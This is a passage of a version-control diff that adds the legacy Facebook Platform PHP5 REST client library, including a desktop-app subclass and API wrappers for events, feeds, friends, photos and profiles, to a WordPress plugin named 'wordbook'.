+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+//
+
+/**
+ *  This class extends and modifies the "Facebook" class to better
+ *  suit desktop apps.
+ */
+class FacebookDesktop extends Facebook {
+  // the application secret, which differs from the session secret
+  public $app_secret;
+  public $verify_sig;
+
+  public function __construct($api_key, $secret) {
+    $this->app_secret = $secret;
+    $this->verify_sig = false;
+    parent::__construct($api_key, $secret);
+  }
+
+  public function do_get_session($auth_token) {
+    $this->api_client->secret = $this->app_secret;
+    $this->api_client->session_key = null;
+    $session_info = parent::do_get_session($auth_token);
+    if (!empty($session_info['secret'])) {
+      // store the session secret
+      $this->set_session_secret($session_info['secret']);
+    }
+    return $session_info;
+  }
+
+  public function set_session_secret($session_secret) {
+    $this->secret = $session_secret;
+    $this->api_client->secret = $session_secret;
+  }
+
+  public function require_login() {
+    if ($this->get_loggedin_user()) {
+      try {
+        // try a session-based API call to ensure that we have the correct
+        // session secret
+        $user = $this->api_client->users_getLoggedInUser();
+
+        // now that we have a valid session secret, verify the signature
+        $this->verify_sig = true;
+        if ($this->validate_fb_params(false)) {
+          return $user;
+        } else {
+          // validation failed
+          return null;
+        }
+      } catch (FacebookRestClientException $ex) {
+        if (isset($_GET['auth_token'])) {
+          // if we have an auth_token, use it to establish a session
+          $session_info = $this->do_get_session($_GET['auth_token']);
+          if ($session_info) {
+            return $session_info['uid'];
+          }
+        }
+      }
+    }
+    // if we get here, we need to redirect the user to log in
+    $this->redirect($this->get_login_url(self::current_url(), $this->in_fb_canvas()));
+  }
+
+  public function verify_signature($fb_params, $expected_sig) {
+    // we don't want to verify the signature until we have a valid
+    // session secret
+    if ($this->verify_sig) {
+      return parent::verify_signature($fb_params, $expected_sig);
+    } else {
+      return true;
+    }
+  }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebookapi_php5_restlib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebookapi_php5_restlib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/facebook-platform/php/facebookapi_php5_restlib.php	(revision 44)
@@ -0,0 +1,2135 @@
+<?php
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007-2008 Facebook, Inc.                                    |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+//
+
+include_once 'jsonwrapper/jsonwrapper.php';
+class FacebookRestClient {
+  public $secret;
+  public $session_key;
+  public $api_key;
+  public $friends_list; // to save making the friends.get api call, this will get prepopulated on canvas pages
+  public $added;        // to save making the users.isAppAdded api call, this will get prepopulated on canvas pages
+  public $is_user;
+  // we don't pass friends list to iframes, but we want to make
+  // friends_get really simple in the canvas_user (non-logged in) case.
+  // So we use the canvas_user as default arg to friends_get
+  public $canvas_user;
+  public $batch_mode;
+  private $batch_queue;
+  private $call_as_apikey;
+
+  const BATCH_MODE_DEFAULT = 0;
+  const BATCH_MODE_SERVER_PARALLEL = 0;
+  const BATCH_MODE_SERIAL_ONLY = 2;
+
+  /**
+   * Create the client.
+   * @param string $session_key if you haven't gotten a session key yet, leave
+   *                            this as null and then set it later by just
+   *                            directly accessing the $session_key member
+   *                            variable.
+   */
+  public function __construct($api_key, $secret, $session_key=null) {
+    $this->secret       = $secret;
+    $this->session_key  = $session_key;
+    $this->api_key      = $api_key;
+    $this->batch_mode = FacebookRestClient::BATCH_MODE_DEFAULT;
+    $this->last_call_id = 0;
+    $this->call_as_apikey = '';
+      $this->server_addr  = Facebook::get_facebook_url('api') . '/restserver.php';
+    if (!empty($GLOBALS['facebook_config']['debug'])) {
+      $this->cur_id = 0;
+      ?>
+<script type="text/javascript">
+var types = ['params', 'xml', 'php', 'sxml'];
+function getStyle(elem, style) {
+  if (elem.getStyle) {
+    return elem.getStyle(style);
+  } else {
+    return elem.style[style];
+  }
+}
+function setStyle(elem, style, value) {
+  if (elem.setStyle) {
+    elem.setStyle(style, value);
+  } else {
+    elem.style[style] = value;
+  }
+}
+function toggleDisplay(id, type) {
+  for (var i = 0; i < types.length; i++) {
+    var t = types[i];
+    var pre = document.getElementById(t + id);
+    if (pre) {
+      if (t != type || getStyle(pre, 'display') == 'block') {
+        setStyle(pre, 'display', 'none');
+      } else {
+        setStyle(pre, 'display', 'block');
+      }
+    }
+  }
+  return false;
+}
+</script>
+<?php
+    }
+  }
+
+
+  /**
+   * Start a batch operation.
+   */
+  public function begin_batch() {
+    if($this->batch_queue !== null)
+    {
+      throw new FacebookRestClientException(FacebookAPIErrorCodes::API_EC_BATCH_ALREADY_STARTED,
+      FacebookAPIErrorCodes::$api_error_descriptions[FacebookAPIErrorCodes::API_EC_BATCH_ALREADY_STARTED]);
+    }
+
+    $this->batch_queue = array();
+  }
+
+  /*
+   * End current batch operation
+   */
+  public function end_batch() {
+    if($this->batch_queue === null) {
+      throw new FacebookRestClientException(FacebookAPIErrorCodes::API_EC_BATCH_NOT_STARTED,
+      FacebookAPIErrorCodes::$api_error_descriptions[FacebookAPIErrorCodes::API_EC_BATCH_NOT_STARTED]);
+    }
+
+    $this->execute_server_side_batch();
+
+    $this->batch_queue = null;
+  }
+
+
+  private function execute_server_side_batch() {
+
+
+    $item_count = count($this->batch_queue);
+    $method_feed = array();
+    foreach($this->batch_queue as $batch_item) {
+      $method_feed[] = $this->create_post_string($batch_item['m'], $batch_item['p']);
+    }
+
+    $method_feed_json = json_encode($method_feed);
+
+    $serial_only = $this->batch_mode == FacebookRestClient::BATCH_MODE_SERIAL_ONLY ;
+    $params = array('method_feed' => $method_feed_json, 'serial_only' => $serial_only);
+    if ($this->call_as_apikey) {
+      $params['call_as_apikey'] = $this->call_as_apikey;
+    }
+
+    $xml = $this->post_request('batch.run', $params);
+
+    $result = $this->convert_xml_to_result($xml, 'batch.run', $params);
+
+
+    if (is_array($result) && isset($result['error_code'])) {
+      throw new FacebookRestClientException($result['error_msg'], $result['error_code']);
+    }
+
+    for($i = 0; $i < $item_count; $i++) {
+      $batch_item = $this->batch_queue[$i];
+      $batch_item_result_xml = $result[$i];
+      $batch_item_result = $this->convert_xml_to_result($batch_item_result_xml, $batch_item['m'], $batch_item['p']);
+
+      if (is_array($batch_item_result) && isset($batch_item_result['error_code'])) {
+        throw new FacebookRestClientException($batch_item_result['error_msg'], $batch_item_result['error_code']);
+      }
+      $batch_item['r'] = $batch_item_result;
+    }
+  }
+
+  public function begin_permissions_mode($permissions_apikey) {
+    $this->call_as_apikey = $permissions_apikey;
+  }
+
+  public function end_permissions_mode() {
+    $this->call_as_apikey = '';
+  }
+
+  /**
+   * Returns the session information available after current user logs in.
+   * @param string $auth_token the token returned by auth_createToken or
+   *  passed back to your callback_url.
+   * @param bool   $generate_session_secret  whether the session returned should include a session secret
+   *
+   * @return assoc array containing session_key, uid
+   */
+  public function auth_getSession($auth_token, $generate_session_secret=false) {
+    //Check if we are in batch mode
+    if($this->batch_queue === null) {
+      $result = $this->call_method('facebook.auth.getSession',
+          array('auth_token' => $auth_token, 'generate_session_secret' => $generate_session_secret));
+      $this->session_key = $result['session_key'];
+
+    if (!empty($result['secret']) && !$generate_session_secret) {
+      // desktop apps have a special secret
+      $this->secret = $result['secret'];
+    }
+      return $result;
+    }
+  }
+
+  /**
+   * Generates a session specific secret. This is for integration with client-side API calls, such as the
+   * JS library.
+   * @error API_EC_PARAM_SESSION_KEY
+   *        API_EC_PARAM_UNKNOWN
+   * @return session secret for the current promoted session
+   */
+  public function auth_promoteSession() {
+      return $this->call_method('facebook.auth.promoteSession', array());
+  }
+
+  /**
+   * Expires the session that is currently being used.  If this call is successful, no further calls to the
+   * API (which require a session) can be made until a valid session is created.
+   *
+   * @return bool  true if session expiration was successful, false otherwise
+   */
+  public function auth_expireSession() {
+      return $this->call_method('facebook.auth.expireSession', array());
+  }
+
+  /**
+   * Revokes the user's agreement to the Facebook Terms of Service for your application.  If you call this
+   * method for one of your users, you will no longer be able to make API requests on their behalf until
+   * they again authorize your application. Use with care.
+   *
+   *  @return bool  true if revocation succeeds, false otherwise
+   */
+  public function auth_revokeAuthorization() {
+      return $this->call_method('facebook.auth.revokeAuthorization', array());
+  }
+
+ /**
+  * This method is used to create an association between an external user
+  * account and a Facebook user account, as per Facebook Connect.
+  *
+  * This method takes an array of account data, including a required email_hash and
+  * optional account data. For each connected account, if the user exists,
+  * the information is added to the set of the user's connected accounts.
+  * If the user has already authorized the site, the connected account is added
+  * in the confirmed state. If the user has not yet authorized the site, the
+  * connected account is added in the pending state.
+  *
+  * This is designed to help Facebook Connect
+  * recognize when two Facebook friends are both members of
+  * a external site, but perhaps are not aware of it.  The Connect dialog(see
+  * fb:connect-form) is used when friends can be identified through these email
+  * hashes. See http://wiki.developers.facebook.com/index.php/Connect.registerUsers
+  * for further details.
+  *
+  * @param mixed $accounts A (JSON-encoded) array of arrays, where each array
+  *                        has three properties:
+  *                        'email_hash'  (req) - public email hash of account
+  *                        'account_id'  (opt) - remote account id;
+  *                        'account_url' (opt) - url to remote account;
+  *
+  * @return array  The list of email hashes for the successfully registered
+  *                  accounts.
+  *
+  */
+  public function connect_registerUsers($accounts) {
+    return $this->call_method('facebook.connect.registerUsers',
+        array('accounts' => $accounts));
+  }
+
+ /**
+  *  Unregisters a set of accounts registered using connect.registerUsers.
+  *
+  * @param  array  $email_hashes  The (JSON-encoded) list of email hashes to be
+  *                                 unregistered.
+  * @return array  The list of email hashes which have been successfully
+  *                  unregistered.
+  */
+  public function connect_unregisterUsers($email_hashes) {
+    return $this->call_method('facebook.connect.unregisterUsers',
+        array('email_hashes' => $email_hashes));
+  }
+
+  /**
+   * Returns events according to the filters specified.
+   * @param int $uid Optional: User associated with events.
+   *   A null parameter will default to the session user.
+   * @param array $eids Optional: Filter by these event ids.
+   *   A null parameter will get all events for the user.
+   * @param int $start_time Optional: Filter with this unix time as lower bound.
+   *   A null or zero parameter indicates no lower bound.
+   * @param int $end_time Optional: Filter with this UTC as upper bound.
+   *   A null or zero parameter indicates no upper bound.
+   * @param string $rsvp_status Optional: Only show events where the given uid
+   *   has this rsvp status.  This only works if you have specified a value for
+   *   $uid.  Values are as in events.getMembers.  Null indicates to ignore
+   *   rsvp status when filtering.
+   * @return array of events
+   */
+  public function &events_get($uid=null, $eids=null, $start_time=null, $end_time=null, $rsvp_status=null) {
+    return $this->call_method('facebook.events.get',
+        array(
+        'uid' => $uid,
+        'eids' => $eids,
+        'start_time' => $start_time,
+        'end_time' => $end_time,
+        'rsvp_status' => $rsvp_status));
+  }
+
+  /**
+   * Returns membership list data associated with an event
+   * @param int $eid : event id
+   * @return assoc array of four membership lists, with keys 'attending',
+   *  'unsure', 'declined', and 'not_replied'
+   */
+  public function &events_getMembers($eid) {
+    return $this->call_method('facebook.events.getMembers',
+      array('eid' => $eid));
+  }
+
+  /**
+   * RSVPs the current user
+   * @param int $eid : event id
+   * @param string $rsvp_status : 'attending', 'unsure', or 'declined'
+   * @return bool  true if successful
+   */
+  public function &events_rsvp($eid, $rsvp_status) {
+    return $this->call_method('facebook.events.rsvp',
+        array(
+        'eid' => $eid,
+        'rsvp_status' => $rsvp_status));
+  }
+
+  /**
+   * Cancels an event. Only works for events application is admin of.
+   * @param int $eid : event id
+   * @param string $cancel_message : (optional) message to send to members of the event about why it is cancelled
+   * @return bool  true if successful
+   */
+  public function &events_cancel($eid, $cancel_message) {
+    return $this->call_method('facebook.events.cancel',
+        array(
+        'eid' => $eid,
+        'cancel_message' => $cancel_message));
+  }
+
+  /**
+   * Creates an event on behalf of the user is there is a session, otherwise on behalf of app.
+   * Successful creation guarantees app will be admin.
+   * @param assoc array $event_info : json encoded event information
+   * @return int  event id
+   */
+  public function &events_create($event_info) {
+    return $this->call_method('facebook.events.create',
+        array('event_info' => $event_info));
+  }
+
+  /**
+   * Edits an existing event. Only works for events application is admin of.
+   * @param int $eid : event id
+   * @param assoc array $event_info : json encoded event information
+   * @return bool  true if successful
+   */
+  public function &events_edit($eid, $event_info) {
+    return $this->call_method('facebook.events.edit',
+        array(
+        'eid' => $eid,
+        'event_info' => $event_info));
+  }
+
+  /**
+   * Makes an FQL query.  This is a generalized way of accessing all the data
+   * in the API, as an alternative to most of the other method calls.  More
+   * info at http://developers.facebook.com/documentation.php?v=1.0&doc=fql
+   * @param string $query the query to evaluate
+   * @return generalized array representing the results
+   */
+  public function &fql_query($query) {
+    return $this->call_method('facebook.fql.query',
+      array('query' => $query));
+  }
+
+  public function &feed_publishStoryToUser($title, $body,
+                                          $image_1=null, $image_1_link=null,
+                                          $image_2=null, $image_2_link=null,
+                                          $image_3=null, $image_3_link=null,
+                                          $image_4=null, $image_4_link=null) {
+    return $this->call_method('facebook.feed.publishStoryToUser',
+      array('title' => $title,
+            'body' => $body,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link));
+  }
+
+  public function &feed_publishActionOfUser($title, $body,
+                                           $image_1=null, $image_1_link=null,
+                                           $image_2=null, $image_2_link=null,
+                                           $image_3=null, $image_3_link=null,
+                                           $image_4=null, $image_4_link=null) {
+    return $this->call_method('facebook.feed.publishActionOfUser',
+      array('title' => $title,
+            'body' => $body,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link));
+  }
+
+  public function &feed_publishTemplatizedAction($title_template, $title_data,
+                                                $body_template, $body_data, $body_general,
+                                                $image_1=null, $image_1_link=null,
+                                                $image_2=null, $image_2_link=null,
+                                                $image_3=null, $image_3_link=null,
+                                                $image_4=null, $image_4_link=null,
+                                                $target_ids='', $page_actor_id=null) {
+    return $this->call_method('facebook.feed.publishTemplatizedAction',
+      array('title_template' => $title_template,
+            'title_data' => $title_data,
+            'body_template' => $body_template,
+            'body_data' => $body_data,
+            'body_general' => $body_general,
+            'image_1' => $image_1,
+            'image_1_link' => $image_1_link,
+            'image_2' => $image_2,
+            'image_2_link' => $image_2_link,
+            'image_3' => $image_3,
+            'image_3_link' => $image_3_link,
+            'image_4' => $image_4,
+            'image_4_link' => $image_4_link,
+            'target_ids' => $target_ids,
+            'page_actor_id' => $page_actor_id));
+  }
+
+  public function &feed_registerTemplateBundle($one_line_story_templates,
+                                               $short_story_templates = array(),
+                                               $full_story_template = null,
+                                               $action_links = array()) {
+
+    $one_line_story_templates = json_encode($one_line_story_templates);
+
+    if (!empty($short_story_templates)) {
+      $short_story_templates = json_encode($short_story_templates);
+    }
+
+    if (isset($full_story_template)) {
+      $full_story_template = json_encode($full_story_template);
+    }
+
+    if (isset($action_links)) {
+      $action_links = json_encode($action_links);
+    }
+
+    return $this->call_method('facebook.feed.registerTemplateBundle',
+                              array('one_line_story_templates' => $one_line_story_templates,
+                                    'short_story_templates' => $short_story_templates,
+                                    'full_story_template' => $full_story_template,
+                                    'action_links' => $action_links));
+  }
+
+  public function &feed_getRegisteredTemplateBundles() {
+    return $this->call_method('facebook.feed.getRegisteredTemplateBundles', array());
+  }
+
+  public function &feed_getRegisteredTemplateBundleByID($template_bundle_id) {
+    return $this->call_method('facebook.feed.getRegisteredTemplateBundleByID',
+                              array('template_bundle_id' => $template_bundle_id));
+  }
+
+  public function &feed_deactivateTemplateBundleByID($template_bundle_id) {
+    return $this->call_method('facebook.feed.deactivateTemplateBundleByID',
+                              array('template_bundle_id' => $template_bundle_id));
+  }
+
+  const STORY_SIZE_ONE_LINE = 1;
+  const STORY_SIZE_SHORT = 2;
+  const STORY_SIZE_FULL = 4;
+  public function &feed_publishUserAction($template_bundle_id, $template_data,
+                                          $target_ids='', $body_general='',
+                                          $story_size = FacebookRestClient::STORY_SIZE_ONE_LINE) {
+    if (is_array($template_data)) {
+      $template_data = json_encode($template_data);
+    } // allow client to either pass in JSON or an assoc that we JSON for them
+
+    if (is_array($target_ids)) {
+      $target_ids = json_encode($target_ids);
+      $target_ids = trim($target_ids, "[]"); // we don't want the square bracket delims
+    }
+
+    return $this->call_method('facebook.feed.publishUserAction',
+                              array('template_bundle_id' => $template_bundle_id,
+                                    'template_data' => $template_data,
+                                    'target_ids' => $target_ids,
+                                    'body_general' => $body_general,
+                                    'story_size' => $story_size));
+  }
+
+  /**
+   * Returns whether or not pairs of users are friends.
+   * Note that the Facebook friend relationship is symmetric.
+   * @param array $uids1: array of ids (id_1, id_2,...) of some length X
+   * @param array $uids2: array of ids (id_A, id_B,...) of SAME length X
+   * @return array of uid pairs with bool, true if pair are friends, e.g.
+   *   array( 0 => array('uid1' => id_1, 'uid2' => id_A, 'are_friends' => 1),
+   *          1 => array('uid1' => id_2, 'uid2' => id_B, 'are_friends' => 0)
+   *         ...)
+   */
+  public function &friends_areFriends($uids1, $uids2) {
+    return $this->call_method('facebook.friends.areFriends',
+        array('uids1'=>$uids1, 'uids2'=>$uids2));
+  }
+
+  /**
+   * Returns the friends of the current session user.
+   * @return array of friends
+   */
+  public function &friends_get() {
+    if (isset($this->friends_list)) {
+      return $this->friends_list;
+    }
+    $params = array();
+    if (isset($this->canvas_user)) {
+      $params['uid'] = $this->canvas_user;
+    }
+    return $this->call_method('facebook.friends.get', $params);
+
+  }
+
+  /**
+   * Returns the friends of the session user, who are also users
+   * of the calling application.
+   * @return array of friends
+   */
+  public function &friends_getAppUsers() {
+    return $this->call_method('facebook.friends.getAppUsers', array());
+  }
+
+  /**
+   * Returns groups according to the filters specified.
+   * @param int $uid Optional: User associated with groups.
+   *  A null parameter will default to the session user.
+   * @param array $gids Optional: group ids to query.
+   *   A null parameter will get all groups for the user.
+   * @return array of groups
+   */
+  public function &groups_get($uid, $gids) {
+    return $this->call_method('facebook.groups.get',
+        array(
+        'uid' => $uid,
+        'gids' => $gids));
+  }
+
+  /**
+   * Returns the membership list of a group
+   * @param int $gid : Group id
+   * @return assoc array of four membership lists, with keys
+   *  'members', 'admins', 'officers', and 'not_replied'
+   */
+  public function &groups_getMembers($gid) {
+    return $this->call_method('facebook.groups.getMembers',
+      array('gid' => $gid));
+  }
+
+  /**
+   * Returns cookies according to the filters specified.
+   * @param int $uid Required: User for which the cookies are needed.
+   * @param string $name Optional:
+   *   A null parameter will get all cookies for the user.
+   * @return array of cookies
+   */
+  public function data_getCookies($uid, $name) {
+    return $this->call_method('facebook.data.getCookies',
+        array(
+        'uid' => $uid,
+        'name' => $name));
+  }
+
+  /**
+   * Sets cookies according to the params specified.
+   * @param int $uid Required: User for which the cookies are needed.
+   * @param string $name Required: name of the cookie
+   * @param string $value Optional if expires specified and is in the past
+   * @param int$expires Optional
+   * @param string $path Optional
+   *
+   * @return bool
+   */
+  public function data_setCookie($uid, $name, $value, $expires, $path) {
+    return $this->call_method('facebook.data.setCookie',
+        array(
+        'uid' => $uid,
+        'name' => $name,
+        'value' => $value,
+        'expires' => $expires,
+        'path' => $path));
+  }
+
+  /**
+   * Permissions API
+   */
+
+  /**
+   * Checks API-access granted by self to the specified application
+   * @param string $permissions_apikey: Required
+   *
+   * @return array: API methods/namespaces which are allowed access
+   */
+  public function permissions_checkGrantedApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.checkGrantedApiAccess',
+        array(
+        'permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Checks API-access granted to self by the specified application
+   * @param string $permissions_apikey: Required
+   *
+   * @return array: API methods/namespaces which are allowed access
+   */
+  public function permissions_checkAvailableApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.checkAvailableApiAccess',
+        array(
+        'permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Grant API-access to the specified methods/namespaces to the specified application
+   * @param string $permissions_apikey: Required
+   * @param array(string) : Optional: API methods/namespaces to be allowed
+   *
+   * @return array: API methods/namespaces which are allowed access
+   */
+  public function permissions_grantApiAccess($permissions_apikey, $method_arr) {
+    return $this->call_method('facebook.permissions.grantApiAccess',
+        array(
+        'permissions_apikey' => $permissions_apikey,
+        'method_arr' => $method_arr));
+  }
+
+  /**
+   * Revoke API-access granted to the specified application
+   * @param string $permissions_apikey: Required
+   *
+   * @return bool
+   */
+  public function permissions_revokeApiAccess($permissions_apikey) {
+    return $this->call_method('facebook.permissions.revokeApiAccess',
+        array(
+        'permissions_apikey' => $permissions_apikey));
+  }
+
+  /**
+   * Returns the outstanding notifications for the session user.
+   * @return assoc array of
+   *  notification count objects for 'messages', 'pokes' and 'shares',
+   *  a uid list of 'friend_requests', a gid list of 'group_invites',
+   *  and an eid list of 'event_invites'
+   */
+  public function &notifications_get() {
+    return $this->call_method('facebook.notifications.get', array());
+  }
+
+  /**
+   * Sends a notification to the specified users.
+   * @return (nothing)
+   */
+  public function &notifications_send($to_ids, $notification, $type) {
+    return $this->call_method('facebook.notifications.send',
+                              array('to_ids' => $to_ids, 'notification' => $notification, 'type' => $type));
+  }
+
+  /**
+   * Sends an email to the specified user of the application.
+   * @param array $recipients : id of the recipients
+   * @param string $subject : subject of the email
+   * @param string $text : (plain text) body of the email
+   * @param string $fbml : fbml markup if you want an html version of the email
+   * @return comma separated list of successful recipients
+   */
+  public function &notifications_sendEmail($recipients, $subject, $text, $fbml) {
+    return $this->call_method('facebook.notifications.sendEmail',
+                              array('recipients' => $recipients,
+                                    'subject' => $subject,
+                                    'text' => $text,
+                                    'fbml' => $fbml));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of pages
+   * @param array $page_ids an array of page ids
+   * @param array $fields an array of strings describing the info fields desired
+   * @param int $uid   Optionally, limit results to pages of which this user is a fan.
+   * @param string type  limits results to a particular type of page.
+   * @return array of pages
+   */
+  public function &pages_getInfo($page_ids, $fields, $uid, $type) {
+    return $this->call_method('facebook.pages.getInfo', array('page_ids' => $page_ids, 'fields' => $fields, 'uid' => $uid, 'type' => $type));
+  }
+
+  /**
+   * Returns true if logged in user is an admin for the passed page
+   * @param int $page_id target page id
+   * @return boolean
+   */
+  public function &pages_isAdmin($page_id) {
+    return $this->call_method('facebook.pages.isAdmin', array('page_id' => $page_id));
+  }
+
+  /**
+   * Returns whether or not the page corresponding to the current session object has the app installed
+   * @return boolean
+   */
+  public function &pages_isAppAdded() {
+    if (isset($this->added)) {
+      return $this->added;
+    }
+    return $this->call_method('facebook.pages.isAppAdded', array());
+  }
+
+  /**
+   * Returns true if logged in user is a fan for the passed page
+   * @param int $page_id target page id
+   * @param int $uid user to compare.  If empty, the logged in user.
+   * @return bool
+   */
+  public function &pages_isFan($page_id, $uid) {
+    return $this->call_method('facebook.pages.isFan', array('page_id' => $page_id, 'uid' => $uid));
+  }
+
+  /**
+   * Returns photos according to the filters specified.
+   * @param int $subj_id Optional: Filter by uid of user tagged in the photos.
+   * @param int $aid Optional: Filter by an album, as returned by
+   *  photos_getAlbums.
+   * @param array $pids Optional: Restrict to a list of pids
+   * Note that at least one of these parameters needs to be specified, or an
+   * error is returned.
+   * @return array of photo objects.
+   */
+  public function &photos_get($subj_id, $aid, $pids) {
+    return $this->call_method('facebook.photos.get',
+      array('subj_id' => $subj_id, 'aid' => $aid, 'pids' => $pids));
+  }
+
+  /**
+   * Returns the albums created by the given user.
+   * @param int $uid Optional: the uid of the user whose albums you want.
+   *   A null value will return the albums of the session user.
+   * @param array $aids Optional: a list of aids to restrict the query.
+   * Note that at least one of the (uid, aids) parameters must be specified.
+   * @returns an array of album objects.
+   */
+  public function &photos_getAlbums($uid, $aids) {
+    return $this->call_method('facebook.photos.getAlbums',
+      array('uid' => $uid,
+            'aids' => $aids));
+  }
+
+  /**
+   * Returns the tags on all photos specified.
+   * @param string $pids : a list of pids to query
+   * @return array of photo tag objects, with include pid, subject uid,
+   *  and two floating-point numbers (xcoord, ycoord) for tag pixel location
+   */
+  public function &photos_getTags($pids) {
+    return $this->call_method('facebook.photos.getTags',
+      array('pids' => $pids));
+  }
+
+
+  /**
+   * Returns the requested info fields for the requested set of users
+   * @param array $uids an array of user ids
+   * @param array $fields an array of strings describing the info fields desired
+   * @return array of users
+   */
+  public function &users_getInfo($uids, $fields) {
+    return $this->call_method('facebook.users.getInfo', array('uids' => $uids, 'fields' => $fields));
+  }
+
+  /**
+   * Returns the requested info fields for the requested set of users. No
+   * session key is required. Only data about users that have authorized
+   * your application will be returned.
+   *
+   * Check the wiki for fields that can be queried through this API call.
+   * Data returned from here should not be used for rendering to application
+   * users, use users.getInfo instead, so that proper privacy rules will be
+   * applied.
+   * @param array $uids an array of user ids
+   * @param array $fields an array of strings describing the info fields desired
+   * @return array of users
+   */
+  public function &users_getStandardInfo($uids, $fields) {
+    return $this->call_method('facebook.users.getStandardInfo', array('uids' => $uids, 'fields' => $fields));
+  }
+
+  /**
+   * Returns the user corresponding to the current session object.
+   * @return integer uid
+   */
+  public function &users_getLoggedInUser() {
+    return $this->call_method('facebook.users.getLoggedInUser', array());
+  }
+
+  /**
+   * Returns whether or not the user corresponding to the current session object has the give the app basic
+   *  authorization.
+   * @return boolean
+   */
+  public function &users_isAppUser($uid=null) {
+    if (isset($this->is_user)) {
+      return $this->is_user;
+    }
+
+    return $this->call_method('facebook.users.isAppUser', array('uid' => $uid));
+  }
+
+  /**
+   * Returns whether or not the user corresponding to the current session object has the app installed
+   * @return boolean
+   */
+  public function &users_isAppAdded($uid=null) {
+    if (isset($this->added)) {
+      return $this->added;
+    }
+    return $this->call_method('facebook.users.isAppAdded', array('uid' => $uid));
+  }
+
+  /**
+   * Sets the FBML for the profile of the user attached to this session
+   * @param   string   $markup           The FBML that describes the profile presence of this app for the user
+   * @param   int      $uid              The user
+   * @param   string   $profile          Profile FBML
+   * @param   string   $profile_action   Profile action FBML (deprecated)
+   * @param   string   $mobile_profile   Mobile profile FBML
+   * @param   string   $profile_main     Main Tab profile FBML
+   * @return  array    A list of strings describing any compile errors for the submitted FBML
+   */
+  function profile_setFBML($markup, $uid = null, $profile='', $profile_action='', $mobile_profile='', $profile_main='') {
+    return $this->call_method('facebook.profile.setFBML', array('markup' => $markup,
+                                                                'uid' => $uid,
+                                                                'profile' => $profile,
+                                                                'profile_action' => $profile_action,
+                                                                'mobile_profile' => $mobile_profile,
+                                                                'profile_main' => $profile_main));
+  }
+
+  public function &profile_getFBML($uid, $type=null) {
+    return $this->call_method('facebook.profile.getFBML', array('uid' => $uid,
+                                                                'type' => $type));
+  }
+
+  public function &profile_getInfo($uid=null) {
+    return $this->call_method('facebook.profile.getInfo', array('uid' => $uid));
+  }
+
+  public function &profile_getInfoOptions($field) {
+    return $this->call_method('facebook.profile.getInfoOptions',
+                              array('field' => $field));
+  }
+
+  public function profile_setInfoOptions($options, $field) {
+    return $this->call_method('facebook.profile.setInfoOptions',
+                              array('options' => json_encode($options),
+                                    'field'   => $field));
+  }
+
+  public function &profile_setInfo($title, $type, $info_fields, $uid=null) {
+    return $this->call_method('facebook.profile.setInfo',
+                              array('uid' => $uid,
+                                    'type' => $type,
+                                    'title'   => $title,
+                                    'info_fields' => json_encode($info_fields)));
+  }
+
+  public function &profile_addInfoItems($info_items, $uid=null) {
+    return $this->call_method('facebook.profile.addInfoItems',
+                              array('uid' => $uid,
